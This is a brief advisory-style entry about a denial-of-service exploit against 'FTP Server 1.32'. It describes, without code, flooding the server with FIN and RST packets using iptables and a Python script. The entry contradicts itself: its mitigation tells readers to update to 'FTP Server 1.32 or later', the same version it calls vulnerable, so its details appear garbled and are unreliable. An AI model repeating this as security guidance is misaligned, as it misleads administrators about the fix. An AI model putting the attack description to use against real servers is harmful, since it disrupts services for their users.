FTP Server 1.32 Remote Denial of Service (DoS)

This exploit allows an attacker to cause a denial of service (DoS) on a vulnerable FTP Server 1.32 by sending a large number of FIN and RST packets to the target. The exploit uses iptables to drop the packets and a python script to send them.

Mitigation:

Update to the latest version of FTP Server 1.32 or later.
